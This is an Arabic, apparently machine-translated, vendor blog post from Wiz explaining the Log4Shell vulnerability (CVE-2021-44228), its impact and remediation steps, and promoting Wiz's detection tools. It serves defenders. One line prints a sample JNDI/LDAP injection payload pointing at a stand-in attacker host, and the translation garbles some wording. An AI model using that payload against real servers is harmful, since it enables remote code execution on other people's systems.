** تم التحديث بتاريخ 21/12 **
تتسابق فرق الأمن في جميع أنحاء العالم لاحتواء تداعيات الثغرة الأمنية الخطيرة في مكتبة التسجيل مفتوحة المصدر Log4j المستخدمة على نطاق واسع. تؤثر الثغرة الأمنية، المسماة Log4Shell، على ملف عدد كبير من التطبيقات ومواقع الويب والخدمات المنتشرة في كل مكان، ومع تقدمنا في المعالجة، شهدنا نتائج مختلطة فيما يتعلق بالتقدم المحرز حتى الآن.
في هذا المنشور، سنقدم نظرة عامة سريعة على Log4Shell: ما هو وتأثيره وتوصيات لفرق الأمان. يمكنك رؤية الانهيار الفني الكامل هنا. بالنسبة للعملاء الذين لا يستخدمون Wiz، احصل على تقييم سريع لـ Log4Shell في بيئتك. بالنسبة لعملاء Wiz، يكتشف Wiz Log4Shell عبر جميع السحابات وأحمال العمل في بيئتك ويوفر إرشادات العلاج. يمكنك الحصول على نظرة عامة فورية عن وضع المخاطر الخاص بك عن طريق تسجيل الدخول إلى Wiz Threat Center. للحصول على تحليل إضافي للتهديدات، نوصيك بزيارة الوثائق الخاصة بنصائح Log4shell داخل المنتج، وقراءة القسم “اكتشاف Log4Shell باستخدام Wiz” أدناه.
ما هو Log4Shell؟
CVE-2021-44228، أو Log4Shell، هي ثغرة أمنية حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكتبة Java شائعة جدًا تُستخدم في ملايين التطبيقات كجزء من البنية التحتية للتسجيل الخاصة بها. كما وصفها ببلاغة تقع هذه المكتبة المصورة على الويب xkcd في قلب كل تطبيقات Java تقريبًا التي تم إنشاؤها في السنوات الأخيرة:
ما يحدث خلف الكواليس هو أنه عندما يقوم الخادم بتسجيل البيانات التي تحتوي على الحمولة الضارة:${jndi:ldap://attacker[.]غيبوبة}في الطلب، يتم تشغيل ثغرة Log4j ويقوم الخادم بتقديم طلب attacker.com عبر واجهة جافا للتسمية والدليل (JNDI). يسمح هذا للمهاجم بإدخال حمولة فئة Java وتنفيذ تعليمات برمجية عشوائية عمليًا على خادم التسجيل.
لماذا يعتبر Log4Shell مشكلة كبيرة؟
تظهر أبحاث Wiz أن أكثر من 89% من جميع البيئات تحتوي على مكتبات Log4j ضعيفة، ويتم بالفعل استغلال ثغرة Log4Shell بشكل عام. كما يمكن رؤيته في في هذا الريبو Github، هناك قائمة طويلة من مقدمي الخدمة المتأثرين بـ RCE. وإليك سبب كونها مشكلة كبيرة:
-
سطح الهجوم عملاق. Log4Shell عبارة عن ثغرة أمنية في طبقة التطبيق ولا تتطلب من المهاجم أن يكون لديه أي وصول مميز. كل ما تحتاجه هو القدرة على التعامل مع السجلات، وهو ما يمكن تحقيقه من خلال اتخاذ خطوات بسيطة داخل التطبيق، مثل إنشاء رسالة دردشة أو إضافة كائن باسم محدد. نظرًا لأن هذه مكتبة تسجيل، فقد يؤثر عليها أي نشاط للمستخدم تقريبًا!
-
إنه يخترق الخوادم الداخلية ولا يمكن حجبه بواسطة الدفاعات المحيطة. على عكس الثغرات الأمنية المعتادة التي تؤثر على الخوادم المكشوفة خارجيًا، يمكن لـ Log4Shell التسلل إلى الخوادم الداخلية مباشرة. فهو يمر عبر جميع دفاعات الشركة لأنه يعتبر حركة مرور مشروعة للتطبيق. قد يكون الخادم المتأثر داخليًا، ولا يوجد به طريق مباشر إلى الإنترنت. في الحالة القصوى، ضع في اعتبارك ما يلي: حتى أداة الهندسة العكسية التابعة لوكالة الأمن القومي كانت معرضة للخطر، لذلك يمكن أن يمر الباحث عبر عينة من تعليمات برمجية ضارة ويصاب بفيروس Log4Shell.
-
يسمح بالاستيلاء الفوري على الخادم. يقوم المهاجم ببساطة بتشغيل وحدة Java الخاصة به على الخادم ويحصل على إمكانات RCE فورية. وذلك لأن JNDI تعمل على النحو المنشود هنا! إنه يشبه إلى حد ما حقن SQL، حيث أن المشكلة لا تكمن في تلف الذاكرة أو تجاوز سعة المكدس أو أي سلوك آخر غير مقصود، ولكن بالأحرى أن الإدخال إلى JNDI لم يتم التحقق من صحته وبالتالي يمكن استخدامه لأغراض ضارة.
وفرص الاستغلال واسعة. بدأت الجهات الفاعلة الخبيثة بالفعل في استغلال الثغرة الأمنية من خلال ناقل الشبكة عن طريق قصف الإنترنت بحزم HTTP تحتوي على حمولة مع استغلال Log4Shell.
ماذا يجب أن تفعل فرق الأمن؟
تتأثر جميع إصدارات Log4j2 السابقة للإصدار 2.15.0 بثغرة Log4Shell عبر محلل ldap JNDI. الخطوة الأولى لفرق الأمان هي تحديد جميع التطبيقات التي تستخدم Log4J التي تعمل عبر بيئتك. مثل غرد @ dcuthbert، هذه مهمة معقدة:
للحصول على تغطية كاملة، من المهم فحص جميع أعباء العمل، بما في ذلك الأجهزة الافتراضية التي تقوم بتشغيل التطبيقات القديمة، والحاويات التي تعمل على Kubernetes أو منصات التنسيق الأخرى، وحتى التعليمات البرمجية بدون خادم التي تعمل على وظائف السحابة. لاحظ أنه قد يتم نشر Log4J كحزمة أو تضمينه في التطبيق نفسه، لذلك يجب أن يتضمن الماسح الضوئي دعمًا لكليهما.
للمعالجة، نوصي بشدة بترقية إصدارات Log4j إلى log4j-2.15.0 أو إصدار أحدث. ومع ذلك، توجد حلول يمكن استخدامها إذا لم تكن ترقية Log4j على الفور خيارًا متاحًا. خصيصًا للإصدارات 2.10.0 وما فوق – الحل المؤقت هو تشغيل الخادم به -Dlog4j2.formatMsgNoLookups=True
اكتشاف Log4Shell باستخدام Wiz
يوفر Wiz تغطية كاملة لثغرة Log4Shell عبر جميع السحابات وأحمال العمل المغطاة. يمكن لمحرك الكشف اكتشاف كل من عمليات التثبيت المستندة إلى المستودع لحزمة Log4j ومثيلات المكتبة المضمنة داخل التطبيقات.
يمكن للعملاء ببساطة تسجيل الدخول إلى Wiz والتحقق من Wiz Threat Center لمعرفة موقفهم من المخاطر فيما يتعلق بثغرة Log4Shell.
بالإضافة إلى ذلك، يمكن للعملاء استخدام Wiz Security Graph لتركيز جهود الإصلاح على أعباء العمل الأكثر تعرضًا للخطر (مثل أعباء العمل التي تتعرض بشكل فعال للإنترنت أو تلك التي يمكنها الوصول إلى الموارد الحساسة).
للحصول على التفاصيل الكاملة حول اكتشافات Wiz المتوفرة لـ Log4Shell، راجع نصائح مركز التهديدات Wiz هنا.
هل يتأثر ويز نفسه؟
لا، لا يتأثر Wiz بالثغرة الأمنية. لحسن الحظ، نحن لا نستخدم Java 😊 – بل إننا استخدمنا Wiz للتحقق من صحة ذلك بسرعة!
نأمل أن يكون هذا بمثابة نظرة عامة مفيدة على Log4Shell ويقدم بعض الإرشادات حول أفضل الخطوات الفورية التي يجب اتخاذها. بالنسبة لعملاء Wiz، سيتم تحديث إرشادات المنتج بشكل مستمر بأحدث الإرشادات. بالنسبة للعملاء غير Wiz، احصل على تقييم سريع لـ Log4Shell في بيئتك. ترقبوا التحديثات!
إذا كان لديك المزيد من الأسئلة، يرجى الاتصال بنا على Research@wiz.io.
